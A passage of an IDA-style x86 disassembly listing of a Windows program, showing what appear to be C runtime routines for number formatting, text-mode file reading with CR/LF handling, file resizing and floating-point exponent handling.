loc_40CA80:				; CODE XREF: sub_40C740+336j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_40CA98:				; CODE XREF: sub_40C740+33Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jle	short loc_40CAFB
		mov	ax, [ebp+arg_C]
		dec	ax
		mov	[ebp+arg_C], ax
		mov	edx, [ebp+arg_0]
		movsx	eax, ax
		cmp	[edx+2Ch], eax
		jge	short loc_40CAC0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_40CAC0:				; CODE XREF: sub_40C740+374j
		movsx	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+20h], edx


loc_40CAFB:				; CODE XREF: sub_40C740+35Fj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		mov	[ebp+arg_8], eax
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	dl, [ebp+arg_4]
		mov	[eax], dl
		cmp	[ebp+arg_10], 0
		jl	short loc_40CB29
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	2Bh
		jmp	short loc_40CB39
; ---------------------------------------------------------------------------


loc_40CB29:				; CODE XREF: sub_40C740+3D9j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	2Dh
		neg	[ebp+arg_10]


loc_40CB39:				; CODE XREF: sub_40C740+3E7j
		mov	[ebp+var_8], 0
		jmp	short loc_40CB6B
; ---------------------------------------------------------------------------


loc_40CB42:				; CODE XREF: sub_40C740+430j
		push	0Ah
		movsx	eax, [ebp+arg_10]
		push	eax
		call	sub_40D540
		add	esp, 8
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_18]
		mov	[ebp+eax+var_12], dl
		mov	eax, [ebp+var_1C]
		mov	[ebp+arg_10], ax
		inc	[ebp+var_8]


loc_40CB6B:				; CODE XREF: sub_40C740+400j
		cmp	[ebp+arg_10], 0
		jg	short loc_40CB42
		cmp	[ebp+var_8], 2
		jge	short loc_40CB8F
		mov	al, [ebp+arg_4]
		cmp	al, 65h
		jz	short loc_40CB83
		cmp	al, 45h
		jnz	short loc_40CB8F


loc_40CB83:				; CODE XREF: sub_40C740+43Dj
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	30h


loc_40CB8F:				; CODE XREF: sub_40C740+436j
					; sub_40C740+441j
		cmp	[ebp+var_8], 0
		jnz	short loc_40CBBC
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	30h
		jmp	short loc_40CBBC
; ---------------------------------------------------------------------------


loc_40CBA3:				; CODE XREF: sub_40C740+480j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	edx, [ebp+var_8]
		dec	edx
		mov	[ebp+var_8], edx
		mov	dl, [ebp+edx+var_12]
		add	dl, 30h
		mov	[eax], dl


loc_40CBBC:				; CODE XREF: sub_40C740+453j
					; sub_40C740+461j
		cmp	[ebp+var_8], 0
		jg	short loc_40CBA3
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		mov	ecx, [eax+1Ch]
		mov	ebx, [eax+10h]
		add	ecx, ebx
		sub	edx, ecx
		mov	[eax+24h], edx


loc_40CBD5:				; CODE XREF: sub_40C740+16Bj
					; sub_40C740+1E5j ...
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax+38h]
		and	eax, 14h
		cmp	eax, 10h
		jnz	short loc_40CC18
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	ecx, [eax+20h]
		add	edx, ecx
		mov	ecx, [eax+24h]
		add	edx, ecx
		mov	eax, [eax+28h]
		add	eax, edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+34h]
		cmp	[ebp+var_8], eax
		jge	short loc_40CC18
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+34h]
		sub	edx, [ebp+var_8]
		mov	[eax+18h], edx


loc_40CC18:				; CODE XREF: sub_40C740+4A2j
					; sub_40C740+4CAj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40C740	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC20	proc near		; CODE XREF: sub_40BC70+348p
					; DMN0:0040CF9Bp

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_40CC55
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 2
		jz	short loc_40CC5C


loc_40CC55:				; CODE XREF: sub_40CC20+18j
		xor	eax, eax
		jmp	loc_40CF45
; ---------------------------------------------------------------------------


loc_40CC5C:				; CODE XREF: sub_40CC20+33j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		add	eax, edx
		test	byte ptr [eax+4], 48h
		jz	short loc_40CCBE
		cmp	byte ptr [eax+5], 0Ah
		jz	short loc_40CCBE
		mov	eax, [ebp+var_C]
		lea	edx, [eax+1]
		mov	[ebp+var_C], edx
		mov	edx, ebx
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, ebx
		sar	ecx, 5
		mov	ecx, dword_41398C[ecx*4]
		mov	dl, [ecx+edx+5]
		mov	[eax], dl
		inc	edi
		dec	[ebp+arg_8]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	byte ptr [edx+eax+5], 0Ah


loc_40CCBE:				; CODE XREF: sub_40CC20+56j
					; sub_40CC20+5Cj
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	eax, [edx+eax]
		push	eax
		call	dword_411E1C	; ReadFile
		test	eax, eax
		jnz	short loc_40CD2E
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax
		cmp	eax, 5
		jnz	short loc_40CD0F
		call	sub_408730
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_40CF45
; ---------------------------------------------------------------------------


loc_40CD0F:				; CODE XREF: sub_40CC20+DAj
		cmp	[ebp+var_10], 6Dh
		jnz	short loc_40CD1C
		xor	eax, eax
		jmp	loc_40CF45
; ---------------------------------------------------------------------------


loc_40CD1C:				; CODE XREF: sub_40CC20+F3j
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_4085D0
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_40CF45
; ---------------------------------------------------------------------------


loc_40CD2E:				; CODE XREF: sub_40CC20+CCj
		mov	eax, [ebp+var_4]
		add	edi, eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 80h
		jz	loc_40CF43
		cmp	[ebp+var_4], 0
		jz	short loc_40CD7D
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_40CD7D
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	4
		jmp	short loc_40CD98
; ---------------------------------------------------------------------------


loc_40CD7D:				; CODE XREF: sub_40CC20+136j
					; sub_40CC20+13Ej
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+4]
		and	byte ptr [eax],	0FBh


loc_40CD98:				; CODE XREF: sub_40CC20+15Bj
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	esi, eax
		jmp	loc_40CF2C
; ---------------------------------------------------------------------------


loc_40CDA5:				; CODE XREF: sub_40CC20+313j
		cmp	byte ptr [esi],	1Ah
		jnz	short loc_40CDE9
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 40h
		jnz	loc_40CF39
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	2
		jmp	loc_40CF39
; ---------------------------------------------------------------------------


loc_40CDE9:				; CODE XREF: sub_40CC20+188j
		cmp	byte ptr [esi],	0Dh
		jz	short loc_40CE03
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, esi
		inc	esi
		mov	dl, [edx]
		mov	[eax], dl
		jmp	loc_40CF2C
; ---------------------------------------------------------------------------


loc_40CE03:				; CODE XREF: sub_40CC20+1CCj
		mov	eax, [ebp+arg_4]
		lea	eax, [eax+edi-1]
		cmp	esi, eax
		jnb	short loc_40CE3D
		cmp	byte ptr [esi+1], 0Ah
		jnz	short loc_40CE28
		add	esi, 2
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	loc_40CF2C
; ---------------------------------------------------------------------------


loc_40CE28:				; CODE XREF: sub_40CC20+1F2j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, esi
		inc	esi
		mov	dl, [edx]
		mov	[eax], dl
		jmp	loc_40CF2C
; ---------------------------------------------------------------------------


loc_40CE3D:				; CODE XREF: sub_40CC20+1ECj
		inc	esi
		mov	[ebp+var_10], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		lea	eax, [ebp+var_11]
		push	eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	eax, [edx+eax]
		push	eax
		call	dword_411E1C	; ReadFile
		test	eax, eax
		jnz	short loc_40CE7C
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax


loc_40CE7C:				; CODE XREF: sub_40CC20+251j
		cmp	[ebp+var_10], 0
		jnz	short loc_40CE88
		cmp	[ebp+var_4], 0
		jnz	short loc_40CE99


loc_40CE88:				; CODE XREF: sub_40CC20+260j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh
		jmp	loc_40CF2C
; ---------------------------------------------------------------------------


loc_40CE99:				; CODE XREF: sub_40CC20+266j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 48h
		jz	short loc_40CEF1
		cmp	[ebp+var_11], 0Ah
		jnz	short loc_40CEC8
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	short loc_40CF2C
; ---------------------------------------------------------------------------


loc_40CEC8:				; CODE XREF: sub_40CC20+298j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	cl, [ebp+var_11]
		mov	[edx+eax+5], cl
		jmp	short loc_40CF2C
; ---------------------------------------------------------------------------


loc_40CEF1:				; CODE XREF: sub_40CC20+292j
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+var_8]
		jnz	short loc_40CF0D
		cmp	[ebp+var_11], 0Ah
		jnz	short loc_40CF0D
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	short loc_40CF2C
; ---------------------------------------------------------------------------


loc_40CF0D:				; CODE XREF: sub_40CC20+2D7j
					; sub_40CC20+2DDj
		push	1
		push	0FFFFFFFFh
		push	ebx
		call	sub_40C180
		add	esp, 0Ch
		cmp	[ebp+var_11], 0Ah
		jz	short loc_40CF2C
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh


loc_40CF2C:				; CODE XREF: sub_40CC20+180j
					; sub_40CC20+1DEj ...
		mov	eax, [ebp+arg_4]
		add	eax, edi
		cmp	esi, eax
		jb	loc_40CDA5


loc_40CF39:				; CODE XREF: sub_40CC20+1A3j
					; sub_40CC20+1C4j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	edi, eax


loc_40CF43:				; CODE XREF: sub_40CC20+12Cj
		mov	eax, edi


loc_40CF45:				; CODE XREF: sub_40CC20+37j
					; sub_40CC20+EAj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40CC20	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		cmp	ebx, dword_413A8C
		jnb	short loc_40CF7B
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40CF8B


loc_40CF7B:				; CODE XREF: DMN0:0040CF5Ej
		call	sub_408730
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CFAE
; ---------------------------------------------------------------------------


loc_40CF8B:				; CODE XREF: DMN0:0040CF79j
		push	ebx
		call	sub_40B010
		pop	ecx
		mov	eax, [ebp+10h]
		push	eax
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_40CC20
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_40B070
		pop	ecx
		mov	eax, esi


loc_40CFAE:				; CODE XREF: DMN0:0040CF89j
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_40D130
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFE0	proc near		; CODE XREF: sub_40BC70+35Fp
					; sub_40D130+46p

var_1014	= dword	ptr -1014h
var_1010	= byte ptr -1010h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1014h
		call	sub_407AC0
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_4], 0
		push	1
		push	0
		push	ebx
		call	sub_40C180
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D024
		push	2
		push	0
		push	ebx
		call	sub_40C180
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D02C


loc_40D024:				; CODE XREF: sub_40CFE0+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_40D120
; ---------------------------------------------------------------------------


loc_40D02C:				; CODE XREF: sub_40CFE0+42j
		mov	eax, [ebp+arg_4]
		mov	esi, eax
		sub	esi, [ebp+var_8]
		test	esi, esi
		jle	loc_40D0D1
		lea	edx, [ebp+var_1010]
		mov	ecx, 1000h
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx
		push	8000h
		push	ebx
		call	sub_40D570
		add	esp, 8
		mov	[ebp+var_10], eax


loc_40D062:				; CODE XREF: sub_40CFE0+E0j
		cmp	esi, 1000h
		jb	short loc_40D076
		mov	[ebp+var_1014],	1000h
		jmp	short loc_40D07E
; ---------------------------------------------------------------------------


loc_40D076:				; CODE XREF: sub_40CFE0+88j
		mov	eax, esi
		mov	[ebp+var_1014],	eax


loc_40D07E:				; CODE XREF: sub_40CFE0+94j
		mov	eax, [ebp+var_1014]
		push	eax
		lea	eax, [ebp+var_1010]
		push	eax
		push	ebx
		call	sub_40AA00
		add	esp, 0Ch
		mov	edi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D0B8
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 5
		jnz	short loc_40D0B2
		call	sub_408730
		mov	dword ptr [eax], 0Dh


loc_40D0B2:				; CODE XREF: sub_40CFE0+C5j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_40D0C2
; ---------------------------------------------------------------------------


loc_40D0B8:				; CODE XREF: sub_40CFE0+BAj
		mov	eax, esi
		sub	eax, edi
		mov	esi, eax
		test	eax, eax
		jg	short loc_40D062


loc_40D0C2:				; CODE XREF: sub_40CFE0+D6j
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_40D570
		add	esp, 8
		jmp	short loc_40D10E
; ---------------------------------------------------------------------------


loc_40D0D1:				; CODE XREF: sub_40CFE0+56j
		test	esi, esi
		jge	short loc_40D10E
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_40C180
		add	esp, 0Ch
		push	ebx
		call	sub_40AEF0
		pop	ecx
		push	eax
		call	dword_411E20	; SetEndOfFile
		test	eax, eax
		setnz	al
		and	eax, 1
		dec	eax
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D10E
		call	sub_408730
		mov	dword ptr [eax], 0Dh


loc_40D10E:				; CODE XREF: sub_40CFE0+EFj
					; sub_40CFE0+F3j ...
		push	0
		mov	eax, [ebp+var_C]
		push	eax
		push	ebx
		call	sub_40C180
		add	esp, 0Ch
		mov	eax, [ebp+var_4]


loc_40D120:				; CODE XREF: sub_40CFE0+47j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40CFE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D130	proc near		; CODE XREF: DMN0:0040CFCBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		cmp	ebx, dword_413A8C
		jnb	short loc_40D159
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40D169


loc_40D159:				; CODE XREF: sub_40D130+Cj
		call	sub_408730
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D189
; ---------------------------------------------------------------------------


loc_40D169:				; CODE XREF: sub_40D130+27j
		push	ebx
		call	sub_40B010
		pop	ecx
		mov	eax, [esp+8+arg_4]
		push	eax
		push	ebx
		call	sub_40CFE0
		add	esp, 8
		mov	esi, eax
		push	ebx
		call	sub_40B070
		pop	ecx
		mov	eax, esi


loc_40D189:				; CODE XREF: sub_40D130+37j
		pop	esi
		pop	ebx
		retn
sub_40D130	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D190	proc near		; CODE XREF: sub_40C050+EFp
					; sub_40C050+100p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		jmp	loc_40D24D
; ---------------------------------------------------------------------------


loc_40D1A4:				; CODE XREF: sub_40D190+C0j
		mov	eax, [esi+18h]
		cmp	eax, [esi+10h]
		ja	short loc_40D1BF
		push	esi
		call	sub_409230
		pop	ecx
		test	eax, eax
		jge	short loc_40D1BF
		or	eax, 0FFFFFFFFh
		jmp	loc_40D26F
; ---------------------------------------------------------------------------


loc_40D1BF:				; CODE XREF: sub_40D190+1Aj
					; sub_40D190+25j
		test	word ptr [esi],	400h
		jz	short loc_40D1D6
		push	0Ah
		push	ebx
		call	sub_40D680
		add	esp, 8
		mov	[ebp+var_C], eax
		jmp	short loc_40D1DD
; ---------------------------------------------------------------------------


loc_40D1D6:				; CODE XREF: sub_40D190+34j
		mov	[ebp+var_C], 0


loc_40D1DD:				; CODE XREF: sub_40D190+44j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	short loc_40D1F2
		mov	eax, [ebp+var_4]
		sub	eax, ebx
		inc	eax
		mov	[ebp+var_10], eax
		jmp	short loc_40D201
; ---------------------------------------------------------------------------


loc_40D1F2:				; CODE XREF: sub_40D190+55j
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_40D1F7:				; CODE XREF: sub_40D190+6Cj
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_40D1F7
		mov	[ebp+var_10], eax


loc_40D201:				; CODE XREF: sub_40D190+60j
		mov	edi, [ebp+var_10]
		mov	eax, [esi+18h]
		mov	edx, [esi+10h]
		sub	eax, edx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], edi
		jnb	short loc_40D21E
		mov	[ebp+var_4], 0
		mov	edi, [ebp+var_8]


loc_40D21E:				; CODE XREF: sub_40D190+82j
		push	edi
		push	ebx
		mov	eax, [esi+10h]
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		add	ebx, edi
		lea	eax, [esi+10h]
		mov	edx, [eax]
		add	edx, edi
		mov	[eax], edx
		cmp	[ebp+var_4], 0
		jz	short loc_40D24D
		push	esi
		call	sub_409030
		pop	ecx
		test	eax, eax
		jz	short loc_40D24D
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D26F
; ---------------------------------------------------------------------------


loc_40D24D:				; CODE XREF: sub_40D190+Fj
					; sub_40D190+ABj ...
		cmp	byte ptr [ebx],	0
		jnz	loc_40D1A4
		test	word ptr [esi],	800h
		jz	short loc_40D26D
		push	esi
		call	sub_409030
		pop	ecx
		test	eax, eax
		jz	short loc_40D26D
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D26F
; ---------------------------------------------------------------------------


loc_40D26D:				; CODE XREF: sub_40D190+CBj
					; sub_40D190+D6j
		xor	eax, eax


loc_40D26F:				; CODE XREF: sub_40D190+2Aj
					; sub_40D190+BBj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40D190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D280	proc near		; CODE XREF: sub_40C6A0+Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_4]
		movzx	eax, word ptr [ebx+6]
		and	eax, 7FF0h
		sar	eax, 4
		mov	si, ax
		cmp	si, 7FFh
		jnz	short loc_40D2D6
		mov	edx, [esp+0Ch+arg_0]
		mov	word ptr [edx],	0
		test	word ptr [ebx+6], 0Fh
		jnz	short loc_40D2C2
		cmp	word ptr [ebx+4], 0
		jnz	short loc_40D2C2
		cmp	word ptr [ebx+2], 0
		jnz	short loc_40D2C2
		cmp	word ptr [ebx],	0
		jz	short loc_40D2C9


loc_40D2C2:				; CODE XREF: sub_40D280+2Cj
					; sub_40D280+33j ...
		mov	edi, 2
		jmp	short loc_40D2CE
; ---------------------------------------------------------------------------


loc_40D2C9:				; CODE XREF: sub_40D280+40j
		mov	edi, 1


loc_40D2CE:				; CODE XREF: sub_40D280+47j
		mov	ax, di
		movsx	eax, ax
		jmp	short loc_40D31A
; ---------------------------------------------------------------------------


loc_40D2D6:				; CODE XREF: sub_40D280+1Bj
		test	si, si
		jg	short loc_40D2EA
		push	ebx
		call	sub_40D6A0
		pop	ecx
		mov	si, ax
		test	ax, ax
		jg	short loc_40D30F


loc_40D2EA:				; CODE XREF: sub_40D280+59j
		movzx	eax, word ptr [ebx+6]
		and	eax, 0FFFF800Fh
		or	eax, 3FE0h
		mov	[ebx+6], ax
		mov	edx, [esp+0Ch+arg_0]
		mov	ax, si
		sub	ax, 3FEh
		mov	[edx], ax
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D31A
; ---------------------------------------------------------------------------


loc_40D30F:				; CODE XREF: sub_40D280+68j
		mov	edx, [esp+0Ch+arg_0]
		mov	word ptr [edx],	0
		xor	eax, eax


loc_40D31A:				; CODE XREF: sub_40D280+54j
					; sub_40D280+8Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D280	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D320	proc near		; CODE XREF: sub_40C6C0+Bp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		movzx	eax, word ptr [ebx+6]
		and	eax, 7FF0h
		sar	eax, 4
		mov	si, ax
		cmp	si, 7FFh
		jnz	short loc_40D375
		test	word ptr [ebx+6], 0Fh
		jnz	short loc_40D35E
		cmp	word ptr [ebx+4], 0
		jnz	short loc_40D35E
		cmp	word ptr [ebx+2], 0
		jnz	short loc_40D35E
		cmp	word ptr [ebx],	0
		jz	short loc_40D365


loc_40D35E:				; CODE XREF: sub_40D320+28j
					; sub_40D320+2Fj ...
		mov	edi, 2
		jmp	short loc_40D36A
; ---------------------------------------------------------------------------


loc_40D365:				; CODE XREF: sub_40D320+3Cj
		mov	edi, 1


loc_40D36A:				; CODE XREF: sub_40D320+43j
		mov	ax, di
		movsx	eax, ax
		jmp	loc_40D52A
; ---------------------------------------------------------------------------


loc_40D375:				; CODE XREF: sub_40D320+20j
		test	si, si
		jnz	short loc_40D390
		push	ebx
		call	sub_40D6A0
		pop	ecx
		mov	si, ax
		test	ax, ax
		jle	short loc_40D390
		xor	eax, eax
		jmp	loc_40D52A
; ---------------------------------------------------------------------------


loc_40D390:				; CODE XREF: sub_40D320+58j
					; sub_40D320+67j
		movsx	eax, si
		mov	edx, [ebp+arg_4]
		add	eax, edx
		mov	[ebp+arg_4], eax
		cmp	eax, 7FFh
		jl	short loc_40D3D2
		test	word ptr [ebx+6], 8000h
		jz	short loc_40D3B7
		fld	dbl_4119E0
		fchs
		fstp	[ebp+var_8]
		jmp	short loc_40D3C0
; ---------------------------------------------------------------------------


loc_40D3B7:				; CODE XREF: sub_40D320+88j
		fld	dbl_4119E0
		fstp	[ebp+var_8]


loc_40D3C0:				; CODE XREF: sub_40D320+95j
		mov	eax, [ebp+arg_0]
		fld	[ebp+var_8]
		fstp	qword ptr [eax]
		mov	eax, 1
		jmp	loc_40D52A
; ---------------------------------------------------------------------------


loc_40D3D2:				; CODE XREF: sub_40D320+80j
		cmp	[ebp+arg_4], 0
		jle	short loc_40D3F8
		movzx	eax, word ptr [ebx+6]
		and	eax, 0FFFF800Fh
		mov	edx, [ebp+arg_4]
		movsx	edx, dx
		shl	edx, 4
		or	eax, edx
		mov	[ebx+6], ax
		or	eax, 0FFFFFFFFh
		jmp	loc_40D52A
; ---------------------------------------------------------------------------


loc_40D3F8:				; CODE XREF: sub_40D320+B6j
